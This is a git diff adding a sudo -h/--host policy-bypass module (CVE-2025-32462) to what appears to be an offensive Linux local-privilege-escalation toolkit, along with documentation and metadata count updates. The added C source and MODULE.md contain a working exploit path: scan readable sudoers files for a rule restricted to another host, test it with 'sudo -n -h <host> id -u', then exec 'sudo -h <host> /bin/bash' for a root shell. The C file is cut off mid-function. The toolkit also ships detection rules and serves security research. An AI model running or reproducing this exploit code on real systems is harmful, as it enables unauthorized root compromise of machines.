diff --git a/CVES.md b/CVES.md index a60b062..079c655 100644 --- a/CVES.md +++ b/CVES.md @@ -23,14 +23,14 @@ Status legend: - ๐Ÿ”ด **DEPRECATED** โ€” fully patched everywhere relevant; kept for historical reference only -**Counts:** 40 modules total covering 35 CVEs; **28 of 35 CVEs +**Counts:** 41 modules total covering 36 CVEs; **28 of 36 CVEs verified end-to-end in real VMs** via `tools/verify-vm/`. ๐Ÿ”ต 0 ยท โšช 0 planned-with-stub ยท ๐Ÿ”ด 0. (One โšช row below โ€” CVE-2026-31402 โ€” is a *candidate* with no module, not counted as a module.) > **Note on unverified rows:** `vmwgfx` / `dirty_cow` / > `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` / -> `ptrace_pidfd` are blocked by their target environment (VMware-only, +> `ptrace_pidfd` / `sudo_host` are blocked by their target environment (VMware-only, > kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition > libs) or are brand-new this cycle, not by missing code. See > [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). @@ -94,6 +94,7 @@ root on a host can upstream their kernel's offsets via PR. | CVE-2026-46300 | Fragnesia โ€” XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | ๐ŸŸก | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised โ€” resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. | | CVE-2026-41651 | Pack2TheRoot โ€” PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon โ†’ `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | ๐ŸŸก | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls โ€” first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 โ†’ 1.3.4 โ€” default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus โ†’ high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. | | CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race โ†’ `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | ๐ŸŸก | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context โ€” honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. | +| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | ๐ŸŸข | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option โ€” meant only to pair with `-l` โ€” was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h `. Affects sudo 1.8.8 โ†’ 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h id -u`, and pops a root shell only on a uid-0 witness โ€” never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. | ## Operations supported per module @@ -133,6 +134,7 @@ Symbols: โœ“ = supported, โ€” = not applicable / no automated path. | fragnesia | โœ“ (+ `--active`) | โœ“ (ported) | โ€” (upgrade kernel) | โœ“ (evict page cache) | โœ“ (auditd + sigma) | | pack2theroot | โœ“ (PK version via D-Bus) | โœ“ (ported) | โ€” (upgrade PackageKit โ‰ฅ 1.3.5) | โœ“ (rm /tmp + `dpkg -r`) | โœ“ (auditd + sigma) | | ptrace_pidfd | โœ“ | โœ“ (primitive) | โœ“ (yama ptrace_scope=2) | โœ“ (restore ptrace_scope) | โœ“ (auditd + sigma + falco) | +| sudo_host | โœ“ | โœ“ | โ€” (upgrade sudo to 1.9.17p1) | โ€” | โœ“ (auditd + sigma + falco) | ## Pipeline for additions diff --git a/Makefile b/Makefile index b981b79..a4c7154 100644 --- a/Makefile +++ b/Makefile @@ -227,6 +227,11 @@ PPF_DIR := modules/ptrace_pidfd_cve_2026_46333 PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS)) +# CVE-2025-32462 sudo -h/--host policy bypass (Stratascale; sudo family) +SUH_DIR := modules/sudo_host_cve_2025_32462 +SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c +SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS)) + # Top-level dispatcher TOP_OBJ := $(BUILD)/skeletonkey.o @@ -240,7 +245,7 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \ $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \ $(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \ $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \ - $(PPF_OBJS) + $(PPF_OBJS) $(SUH_OBJS) ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS) diff --git a/README.md b/README.md index 1152ba8..443e09f 100644 --- a/README.md +++ b/README.md @@ -2,10 +2,10 @@ [![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest) [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) -[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2035-brightgreen.svg)](docs/VERIFICATIONS.jsonl) +[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2036-brightgreen.svg)](docs/VERIFICATIONS.jsonl) [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#) -> **One curated binary. 40 Linux LPE modules covering 35 CVEs from 2016 โ†’ 2026. +> **One curated binary. 41 Linux LPE modules covering 36 CVEs from 2016 โ†’ 2026. > Every year 2016 โ†’ 2026 covered. 28 confirmed end-to-end against real Linux > VMs via `tools/verify-vm/`. Detection rules in the box. One command picks > the safest one and runs it.** @@ -44,9 +44,9 @@ for every CVE in the bundle โ€” same project for red and blue teams. ## Corpus at a glance -**40 modules covering 35 distinct CVEs** across the 2016 โ†’ 2026 LPE -timeline. **28 of the 35 CVEs have been empirically verified** in real -Linux VMs via `tools/verify-vm/`; the 7 still-pending entries are +**41 modules covering 36 distinct CVEs** across the 2016 โ†’ 2026 LPE +timeline. **28 of the 36 CVEs have been empirically verified** in real +Linux VMs via `tools/verify-vm/`; the 8 still-pending entries are blocked by their target environment (legacy hypervisor, EOL kernel, or the t64-transition libc rollout) or are brand-new additions awaiting a VM sweep, not by missing code. @@ -67,7 +67,7 @@ af_packet ยท af_packet2 ยท af_unix_gc ยท cls_route4 ยท fuse_legacy ยท nf_tables ยท nft_set_uaf ยท nft_fwd_dup ยท nft_payload ยท netfilter_xtcompat ยท stackrot ยท sudo_samedit ยท sequoia ยท vmwgfx -### Empirical verification (28 of 35 CVEs) +### Empirical verification (28 of 36 CVEs) Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove each verdict against a known-target VM. Coverage: @@ -80,16 +80,17 @@ each verdict against a known-target VM. Coverage: | Debian 11 (5.10 stock) | cgroup_release_agent ยท fuse_legacy ยท netfilter_xtcompat ยท nft_fwd_dup | | Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot ยท udisks_libblockdev | -**Not yet verified (7):** `vmwgfx` (VMware-guest-only โ€” no public Vagrant +**Not yet verified (8):** `vmwgfx` (VMware-guest-only โ€” no public Vagrant box), `dirty_cow` (needs โ‰ค 4.4 kernel โ€” older than every supported box), `mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04 rootfs โ€” needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5 kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian 13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new -2026-05 Qualys disclosure โ€” added this cycle, VM sweep pending). All seven -are flagged in [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) -with rationale. +2026-05 Qualys disclosure โ€” added this cycle, VM sweep pending), `sudo_host` +(brand-new 2025-06 Stratascale disclosure โ€” added this cycle, VM sweep +pending). All eight are flagged in +[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale. See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and detection status. Run `skeletonkey --module-info ` for the @@ -135,7 +136,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara) $ skeletonkey --auto --i-know [*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64 [*] auto: active probes enabled โ€” brief /tmp file touches and fork-isolated namespace probes -[*] auto: scanning 40 modules for vulnerabilities... +[*] auto: scanning 41 modules for vulnerabilities... [+] auto: dirty_pipe VULNERABLE (safety rank 90) [+] auto: cgroup_release_agent VULNERABLE (safety rank 98) [+] auto: pwnkit VULNERABLE (safety rank 100) @@ -204,9 +205,10 @@ also compile (modules with Linux-only headers stub out gracefully). ## Status -**v0.9.7 cut 2026-06-01.** 40 modules across 35 CVEs โ€” **every +**v0.9.7 cut 2026-06-01.** 41 modules across 36 CVEs โ€” **every year 2016 โ†’ 2026 now covered**. Newest: `ptrace_pidfd` (CVE-2026-46333, -Qualys's `__ptrace_may_access` / `pidfd_getfd` credential-steal). +Qualys's `__ptrace_may_access` / `pidfd_getfd` credential-steal) and +`sudo_host` (CVE-2025-32462, Stratascale's sudo `--host` policy bypass). v0.9.0 added 5 gap-fillers (`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` / `nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` / @@ -242,13 +244,13 @@ Reliability + accuracy work in v0.7.x: - `--auto` upgrades: per-detect 15s timeout, fork-isolated detect + exploit, structured verdict table, scan summary, `--dry-run`. -Not yet verified (7 of 35 CVEs): `vmwgfx` (VMware-guest only), +Not yet verified (8 of 36 CVEs): `vmwgfx` (VMware-guest only), `dirty_cow` (needs โ‰ค 4.4 kernel), `mutagen_astronomy` (mainline 4.14.70 panics on Ubuntu 18.04 rootfs โ€” needs CentOS 6 / Debian 7), `pintheft` + `vsock_uaf` (kernel modules not autoloaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition -libs from Ubuntu 24.04+ / Debian 13+; no Parallels-supported box has -those yet). Rationale in +libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host` +(brand-new this cycle, sweep pending). Rationale in [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and diff --git a/core/cve_metadata.c b/core/cve_metadata.c index 6593070..61550ae 100644 --- a/core/cve_metadata.c +++ b/core/cve_metadata.c @@ -292,6 +292,14 @@ const struct cve_metadata cve_metadata_table[] = { .in_kev = false, .kev_date_added = "", }, + { + .cve = "CVE-2025-32462", + .cwe = "CWE-863", + .attack_technique = "T1068", + .attack_subtechnique = NULL, + .in_kev = false, + .kev_date_added = "", + }, }; const size_t cve_metadata_table_len = diff --git a/core/registry.h b/core/registry.h index e9f6814..51858b9 100644 --- a/core/registry.h +++ b/core/registry.h @@ -56,6 +56,7 @@ void skeletonkey_register_tioscpgrp(void); void skeletonkey_register_vsock_uaf(void); void skeletonkey_register_nft_pipapo(void); void skeletonkey_register_ptrace_pidfd(void); +void skeletonkey_register_sudo_host(void); /* Call every skeletonkey_register_() above in canonical order. * Single source of truth so the main binary and the test binary stay diff --git a/core/registry_all.c b/core/registry_all.c index 46e6d72..66502e3 100644 --- a/core/registry_all.c +++ b/core/registry_all.c @@ -52,4 +52,5 @@ void skeletonkey_register_all_modules(void) skeletonkey_register_vsock_uaf(); skeletonkey_register_nft_pipapo(); skeletonkey_register_ptrace_pidfd(); + skeletonkey_register_sudo_host(); } diff --git a/docs/CVE_METADATA.json b/docs/CVE_METADATA.json index 421de89..3f36b6a 100644 --- a/docs/CVE_METADATA.json +++ b/docs/CVE_METADATA.json @@ -313,5 +313,14 @@ "attack_subtechnique": null, "in_kev": false, "kev_date_added": "" + }, + { + "cve": "CVE-2025-32462", + "module_dir": "sudo_host_cve_2025_32462", + "cwe": "CWE-863", + "attack_technique": "T1068", + "attack_subtechnique": null, + "in_kev": false, + "kev_date_added": "" } ] diff --git a/docs/index.html b/docs/index.html index a609840..d7baafe 100644 --- a/docs/index.html +++ b/docs/index.html @@ -4,9 +4,9 @@ SKELETONKEY โ€” Linux LPE corpus, VM-verified, SOC-ready detection - + - + @@ -62,7 +62,7 @@ SKELETONKEY

- One binary. 40 Linux LPE modules covering 35 CVEs โ€” + One binary. 41 Linux LPE modules covering 36 CVEs โ€” every year 2016 โ†’ 2026. 28 of 34 confirmed against real Linux kernels in VMs. SOC-ready detection rules in four SIEM formats. MITRE ATT&CK + CWE + CISA KEV annotated. @@ -81,7 +81,7 @@

-
0modules
+
0modules
0โœ“ VM-verified
0โ˜… in CISA KEV
0detection rules
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)
โ˜…

CISA KEV prioritized

- 12 of 35 CVEs in the corpus are in CISA's Known Exploited + 12 of 36 CVEs in the corpus are in CISA's Known Exploited Vulnerabilities catalog โ€” actively exploited in the wild. Refreshed on demand via tools/refresh-cve-metadata.py.

@@ -294,7 +294,7 @@ uid=0(root) gid=0(root) tools/verify-vm/ spins up known-vulnerable kernels (stock distro + mainline from kernel.ubuntu.com), runs --explain --active per module, and records the - verdict. 28 of 35 CVEs confirmed against + verdict. 28 of 36 CVEs confirmed against real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12 + mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary; --list shows โœ“ per module. @@ -309,7 +309,7 @@ uid=0(root) gid=0(root)
-

35 CVEs across 10 years. โ˜… = actively exploited (CISA KEV).

+

36 CVEs across 10 years. โ˜… = actively exploited (CISA KEV).

@@ -331,6 +331,7 @@ uid=0(root) gid=0(root) cgroup_release_agent โ˜… ptrace_traceme sudoedit_editor + sudo_host entrybleed

@@ -415,7 +416,7 @@ uid=0(root) gid=0(root)
๐ŸŽ“

Researchers / CTF

- 35 CVEs, 10-year span, each with the original PoC author + 36 CVEs, 10-year span, each with the original PoC author credited and the kernel-range citation auditable. --explain shows the reasoning chain; detection rules let you practice both sides. Source is the documentation. @@ -512,7 +513,7 @@ uid=0(root) gid=0(root)

shipped
    -
  • 28 of 35 CVEs empirically verified in real Linux VMs
  • +
  • 28 of 36 CVEs empirically verified in real Linux VMs
  • kernel.ubuntu.com/mainline/ kernel fetch path โ€” unblocks pin-not-in-apt targets
  • Per-module verified_on[] table baked into the binary
  • --explain mode โ€” one-page operator briefing per CVE
  • diff --git a/modules/sudo_host_cve_2025_32462/MODULE.md b/modules/sudo_host_cve_2025_32462/MODULE.md new file mode 100644 index 0000000..b3e649c --- /dev/null +++ b/modules/sudo_host_cve_2025_32462/MODULE.md @@ -0,0 +1,63 @@ +# sudo_host โ€” CVE-2025-32462 + +sudo `-h`/`--host` option honored beyond `-l` โ†’ abuse a host-restricted +sudoers rule for local root. + +## The bug + +`sudo -h ` (a.k.a. `--host`) exists so that, combined with `-l`, +you can list your sudo privileges *as they would apply on another host*. +The flaw: sudo also consulted the `-h` value when **running a command** +(and in `sudoedit`), so the host portion of a sudoers rule โ€” normally +fixed to the machine you're on โ€” becomes attacker-chosen. + +If your sudoers contains a rule like: + +``` +alice webhost01 = (root) /usr/bin/systemctl +``` + +then on a *different* machine `alice` normally can't use it. With the +bug, `sudo -h webhost01 /usr/bin/systemctl ...` runs as root on the +local box. With a broader rule (`webhost01 = (ALL) ALL`), `sudo -h +webhost01 /bin/bash` is a root shell. + +This matters most where one sudoers file (or LDAP/SSSD sudoers) is shared +across a fleet and rules are scoped per host. + +## Affected range + +| | | +|---|---| +| Affected | sudo 1.8.8 โ†’ 1.9.17p0 (~12-year-old behaviour) | +| Fixed | sudo 1.9.17p1 | +| Weakness | CWE-863 (Incorrect Authorization) | +| Severity | CVSS 8.8 (High); not in CISA KEV | + +## Trigger / detection + +`detect()` reads the sudo version (shared host fingerprint, else a live +`sudo --version`) and returns VULNERABLE inside `[1.8.8, 1.9.17p0]`, +OK otherwise. The exploitable precondition โ€” a host-restricted sudoers +rule โ€” is not reliably probeable from an unprivileged context, so the +empirical confirmation lives in the exploit path. + +`exploit()`: +1. Resolves the host token to abuse: `SKELETONKEY_SUDO_HOST` env var, or + a best-effort scan of readable `/etc/sudoers` + `/etc/sudoers.d/*` for + a user-spec whose host is neither the current hostname nor `ALL`. +2. Witnesses with `sudo -n -h id -u` (non-interactive). +3. On a uid-0 witness, execs `sudo -h /bin/bash` + (override the command with `SKELETONKEY_SUDO_CMD`). + +Returns `EXPLOIT_FAIL` with operator guidance when no abusable rule is +discoverable โ€” it never fabricates root. + +## Fix / mitigation + +Upgrade sudo to 1.9.17p1 or later. There is no safe runtime toggle for +the `-h` behaviour short of the patch. + +## Credit + +Rich Mirch โ€” Stratascale CRU (2025-06-30). See `NOTICE.md`. diff --git a/modules/sudo_host_cve_2025_32462/NOTICE.md b/modules/sudo_host_cve_2025_32462/NOTICE.md new file mode 100644 index 0000000..7cc0de9 --- /dev/null +++ b/modules/sudo_host_cve_2025_32462/NOTICE.md @@ -0,0 +1,49 @@ +# NOTICE โ€” sudo_host (CVE-2025-32462) + +## Vulnerability + +**CVE-2025-32462** โ€” sudo's `-h`/`--host` option, intended only to be +used with `-l`/`--list` to display a user's privileges on a *different* +host, was also honored when actually running a command (or via +`sudoedit`). This lets a user evaluate the sudoers policy as though the +machine were some other host: a sudoers rule scoped to a host that is +neither the current machine nor `ALL` becomes usable locally via +`sudo -h `, yielding command execution as root. + +Primarily affects sites that distribute one sudoers file across a fleet, +or use LDAP/SSSD-based sudoers, where host-restricted rules are common. + +- Affected: sudo **1.8.8** through **1.9.17p0** (the `-h` behaviour is + ~12 years old). Fixed in **1.9.17p1**. +- CWE-863 (Incorrect Authorization). CVSS 8.8 (High). Not in CISA KEV + (the sibling `--chroot` bug CVE-2025-32463 is). + +## Research credit + +Discovered and disclosed by **Rich Mirch โ€” Stratascale Cyber Research +Unit (CRU)**, published 2025-06-30 alongside CVE-2025-32463. + +- sudo.ws advisory: +- Stratascale writeup: + +- Fixed in sudo 1.9.17p1 (Todd C. Miller, upstream maintainer). + +All research credit belongs to Rich Mirch / Stratascale and the sudo +maintainers. SKELETONKEY is the bundling and bookkeeping layer only. + +## SKELETONKEY role + +๐ŸŸข **Structural escape (config-gated).** No offsets, no leak, no race. +`detect()` gates on the sudo version (the host-restricted rule lives in a +sudoers source the user usually cannot read โ€” that opacity is the bug), +so a VULNERABLE verdict means "vulnerable sudo present; an abusable rule +may exist". `exploit()` best-effort reads `/etc/sudoers` + +`/etc/sudoers.d/*` for a user-spec whose host field is neither the +current hostname nor `ALL` (or takes the host from +`SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h id -u`, and +pops `sudo -h /bin/bash` (override via `SKELETONKEY_SUDO_CMD`) +only on a confirmed uid-0 witness โ€” never claims root it did not get. + +Mitigation: upgrade sudo to 1.9.17p1+. Architecture-agnostic +(pure userspace). Joins the shared `sudo` family alongside +`sudo_chwoot`, `sudo_samedit`, `sudo_runas_neg1`, and `sudoedit_editor`. diff --git a/modules/sudo_host_cve_2025_32462/skeletonkey_modules.c b/modules/sudo_host_cve_2025_32462/skeletonkey_modules.c new file mode 100644 index 0000000..b64df96 --- /dev/null +++ b/modules/sudo_host_cve_2025_32462/skeletonkey_modules.c @@ -0,0 +1,441 @@ +/* + * sudo_host_cve_2025_32462 โ€” SKELETONKEY module + * + * STATUS: ๐ŸŸข STRUCTURAL (config-gated). No offsets, no leak, no race. + * Pure authorization-logic flaw: sudo's `-h`/`--host` option โ€” meant + * only to pair with `-l`/`--list` to show your privileges on ANOTHER + * host โ€” was honored when actually *running* a command (or sudoedit). + * That makes the host field of a sudoers rule attacker-chosen: a rule + * scoped to some host other than the current machine becomes usable + * here via `sudo -h `. + * + * The bug (Rich Mirch, Stratascale CRU, disclosed 2025-06-30 alongside + * the sibling --chroot bug CVE-2025-32463): + * `sudo -h ` evaluates the sudoers policy as though + * the machine were . A user listed in sudoers for a different + * host (common with a fleet-wide sudoers file, or LDAP/SSSD sudoers) + * can therefore run that host's commands as root on the local box. + * + * sudo.ws advisory: https://www.sudo.ws/security/advisories/host_any/ + * + * Affects: sudo 1.8.8 โ‰ค V โ‰ค 1.9.17p0 (the `-h` option behaviour is + * ~12 years old). Fixed in 1.9.17p1, which stops honoring `-h` outside + * `-l`. CWE-863 (Incorrect Authorization). CVSS 8.8 (High). NOT in + * CISA KEV (the sibling 32463 is). + * + * Precondition for exploitation (NOT for detection): the invoking user + * must already be listed in sudoers for a host that is neither the + * current hostname nor ALL. detect() can only gate on the sudo + * version (the host-restricted rule lives in a sudoers source the user + * usually cannot read โ€” that opacity is the whole point of the bug), + * so a VULNERABLE verdict here means "vulnerable sudo present; an + * abusable host-restricted rule MAY exist". exploit() then tries to + * find/fire one (or takes the host+command from env vars). + * + * arch_support: any. Pure userspace; no shellcode. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" +#include "../../core/host.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef __linux__ +#include +#include +#endif + +/* ---- sudo family helpers (mirror the sibling sudo_* modules) -------- */ + +static const char *find_sudo(void) +{ + static const char *candidates[] = { + "/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo", + "/sbin/sudo", "/usr/local/bin/sudo", NULL, + }; + for (size_t i = 0; candidates[i]; i++) { + struct stat st; + if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) + return candidates[i]; + } + return NULL; +} + +static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz) +{ + char cmd[512]; + snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path); + FILE *p = popen(cmd, "r"); + if (!p) return false; + char line[256] = {0}; + char *r = fgets(line, sizeof line, p); + pclose(p); + if (!r) return false; + char *vp = strstr(line, "version"); + if (!vp) return false; + vp += strlen("version"); + while (*vp == ' ' || *vp == '\t') vp++; + char *nl = strchr(vp, '\n'); + if (nl) *nl = 0; + strncpy(out, vp, outsz - 1); + out[outsz - 1] = 0; + return out[0] != 0; +} + +/* True iff the version is in the vulnerable range [1.8.8, 1.9.17p0]. + * Fixed in 1.9.17p1. Versions below 1.8.8 predate the `-h` behaviour. */ +static bool sudo_version_vulnerable_host(const char *v) +{ + int maj = 0, min = 0, patch = 0; + char ptag = 0; + int psub = 0; + int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub); + if (n < 3) return true; /* unparseable โ†’ assume worst */ + if (maj != 1) return false; + if (min < 8) return false; /* 1.7.x and below predate */ + if (min == 8) return patch >= 8; /* 1.8.8 .. 1.8.x */ + if (min > 9) return false; /* 1.10+ (hypothetical) fixed */ + /* min == 9 */ + if (patch < 17) return true; /* 1.9.0 .. 1.9.16 */ + if (patch > 17) return false; /* 1.9.18+ fixed */ + /* exactly 1.9.17 */ + if (ptag != 'p') return true; /* 1.9.17 plain โ†’ vulnerable */ + return psub == 0; /* 1.9.17p0 vuln; p1+ fixed */ +} + +/* ---- detect --------------------------------------------------------- */ + +static skeletonkey_result_t sudo_host_detect(const struct skeletonkey_ctx *ctx) +{ + const char *sudo_path = find_sudo(); + if (!sudo_path) { + if (!ctx->json) + fprintf(stderr, "[i] sudo_host: sudo not installed; bug unreachable here\n"); + return SKELETONKEY_PRECOND_FAIL; + } + + char vbuf[64] = {0}; + const char *ver = NULL; + if (ctx->host && ctx->host->sudo_version[0]) { + ver = ctx->host->sudo_version; + } else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) { + ver = vbuf; + } else { + if (!ctx->json) fprintf(stderr, "[!] sudo_host: could not read sudo --version\n"); + return SKELETONKEY_TEST_ERROR; + } + + if (!ctx->json) fprintf(stderr, "[i] sudo_host: sudo version '%s'\n", ver); + + if (!sudo_version_vulnerable_host(ver)) { + if (!ctx->json) + fprintf(stderr, "[+] sudo_host: sudo %s outside vulnerable range " + "[1.8.8, 1.9.17p0] โ€” patched or pre-feature\n", ver); + return SKELETONKEY_OK; + } + + if (!ctx->json) { + fprintf(stderr, "[!] sudo_host: sudo %s in vulnerable range โ€” VULNERABLE\n", ver); + fprintf(stderr, "[i] sudo_host: `-h`/`--host` honored beyond `-l` โ€” a sudoers " + "rule scoped to a non-current host is usable via `sudo -h `\n"); + fprintf(stderr, "[i] sudo_host: exploitation requires such a host-restricted rule " + "(common with fleet-wide / LDAP / SSSD sudoers). Run " + "`--exploit sudo_host --i-know` to find/fire one.\n"); + } + return SKELETONKEY_VULNERABLE; +} + +/* ---- exploit -------------------------------------------------------- */ + +#ifdef __linux__ +/* Does `tok` name a host that is exploitable from here โ€” i.e. a specific + * host that is neither the current hostname nor the ALL wildcard? */ +static bool host_is_abusable(const char *tok, const char *cur_host) +{ + if (!tok || !*tok) return false; + if (strcmp(tok, "ALL") == 0) return false; /* no restriction โ†’ no bug */ + if (tok[0] == '%' || tok[0] == '+') return false; /* netgroup/group, skip */ + if (strcasecmp(tok, cur_host) == 0) return false; /* already our host */ + /* A bare short-hostname form of the FQDN counts as "us" too. */ + const char *dot = strchr(cur_host, '.'); + if (dot) { + size_t shortlen = (size_t)(dot - cur_host); + if (strlen(tok) == shortlen && strncasecmp(tok, cur_host, shortlen) == 0) + return false; + } + return true; +} + +/* Best-effort scan of a sudoers source for a rule whose host field is + * abusable. Fills *host_out with the host token to pass to `sudo -h`. + * Returns true on the first hit. We do not try to fully parse the + * sudoers grammar โ€” we look for ` = ...` user-spec lines and + * test the host token. who may be the user, a %group, or ALL. */ +static bool scan_sudoers_file(const char *path, const char *user, + const char *cur_host, char *host_out, size_t host_sz) +{ + FILE *f = fopen(path, "r"); + if (!f) return false; + char line[1024]; + bool hit = false; + while (fgets(line, sizeof line, f)) { + char *s = line; + while (*s == ' ' || *s == '\t') s++; + if (*s == '#' || *s == '\n' || *s == 0) continue; + if (strncmp(s, "Defaults", 8) == 0) continue; + if (strstr(s, "_Alias")) continue; /* alias defs, not user specs */ + if (strstr(s, "#include") || strncmp(s, "@include", 8) == 0) continue; + + /* Must contain '=' (the host = command separator). */ + char *eq = strchr(s, '='); + if (!eq) continue; + + /* who = first token; host = second token (before '='). */ + char who[128] = {0}, host[256] = {0}; + if (sscanf(s, "%127s %255s", who, host) != 2) continue; + /* strip a trailing '=' that sscanf may have grabbed onto host */ + char *he = strchr(host, '='); + if (he) *he = 0; + if (!host[0]) continue; + + bool who_match = (strcmp(who, "ALL") == 0) || + (strcmp(who, user) == 0) || + (who[0] == '%'); /* group โ€” best-effort match */ + if (!who_match) continue; + + if (host_is_abusable(host, cur_host)) { + snprintf(host_out, host_sz, "%s", host); + hit = true; + break; + } + } + fclose(f); + return hit; +} + +/* Try to discover an abusable host token from readable sudoers sources. + * Most non-root users cannot read these (that's the bug's opacity), but + * misconfigured / world-readable sudoers and some LDAP cache dumps are + * common enough to be worth a look. */ +static bool discover_abusable_host(const char *user, const char *cur_host, + char *host_out, size_t host_sz) +{ + if (scan_sudoers_file("/etc/sudoers", user, cur_host, host_out, host_sz)) + return true; + /* /etc/sudoers.d/* โ€” enumerate via shell glob into a temp listing. */ + FILE *p = popen("ls -1 /etc/sudoers.d/ 2>/dev/null", "r"); + if (p) { + char name[256]; + while (fgets(name, sizeof name, p)) { + char *nl = strchr(name, '\n'); if (nl) *nl = 0; + if (!name[0]) continue; + char full[512]; + snprintf(full, sizeof full, "/etc/sudoers.d/%s", name); + if 